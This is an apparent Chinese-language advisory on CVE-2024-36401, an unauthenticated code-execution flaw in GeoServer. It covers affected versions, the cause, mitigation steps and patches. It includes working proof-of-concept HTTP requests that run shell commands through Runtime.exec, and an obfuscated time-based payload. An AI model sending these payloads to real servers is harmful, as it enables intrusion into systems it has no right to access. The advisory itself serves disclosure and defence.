漏洞描述
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。
漏洞影响范围
包名 | 受影响的版本 | 修复版本 |
org.geoserver.web:gs-web-app | >= 2.24.0,< 2.24.4 >= 2.25.0,< 2.25.2 < 2.23.6 | 2.24.4 2.25.2 2.23.6 |
org.geoserver:gs-wfs | >= 2.24.0,< 2.24.4 >= 2.25.0,< 2.25.2 < 2.23.6 | 2.24.4 2.25.2 2.23.6 |
org.geoserver:gs-wms | >= 2.24.0,< 2.24.4 >=2.25.0, <2.25.2 < 2.23.6 | 2.24.4 2.25.2 2.23.6 |
漏洞细节
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。
POC 1 GET请求
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
POC 2 post请求
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>
熟悉的java.lang.ClassCastException
错误,说明命令已执行成功。
进入容器可见,touch /tmp/success1
与touch /tmp/success2
均已成功执行。
值得注意的是,typeNames必须存在,我们可以在Web页面中找到当前服务器中的所有Types:
POC 3 基于时间的测试
如果有人难以重现 CVE-2024-36401,请尝试此有效载荷
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
/+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep
<![CDATA[
(2000)
]]>
</wfs:valueReference>
</wfs:GetPropertyValue>
影响
此漏洞可导致执行任意代码。
解决方法
有一种解决方法,即从gt-complex-x.y.jar
GeoServer 中删除x.y
GeoTools 版本(例如,gt-complex-31.1.jar
如果运行的是 GeoServer 2.25.1)的文件。这将从 GeoServer 中删除易受攻击的代码,但可能会破坏某些 GeoServer 功能,或者如果您正在使用的扩展需要 gt-complex 模块,则可能会阻止 GeoServer 部署:
部署缓解措施geoserver.war
:
- 停止应用程序服务器
- 解压
geoserver.war
到目录 - 找到文件
WEB-INF/lib/gt-complex-x.y.jar
并删除 - 将目录压缩到新的
geoserver.war
- 重新启动应用服务器
GeoServer二进制文件的缓解措施:
- 停止docker
- 找到文件
webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar
并删除 - 重启 Jetty
已知以下扩展和社区模块直接依赖于gt-complex
jar,如果没有它,则无法正常运行。这不是完整列表,其他 GeoServer 功能可能取决于gt-complex
jar 的可用性:
- 扩展:应用程序架构、Web 目录服务、MongoDB 数据存储
- 社区模块:功能模板、OGC API 模块、智能数据加载器、SOLR 数据存储
先前版本可用的补丁程序:
- 可以从 GeoServer 发布页面下载修补程序
gt-app-schema
和gt-complex
jargt-xsd-core
:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0。 - 要使用,请按照上述说明找到
WEB-INF/lib
文件夹 - 用补丁程序提供的替换
gt-app-schema
和gt-complex
jargt-xsd-core
参考
GHSA-w3pj-wh35-fq8w
https://osgeo-org.atlassian.net/browse/GEOT-7587
geotools/geotools#4797
https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852
暂无评论内容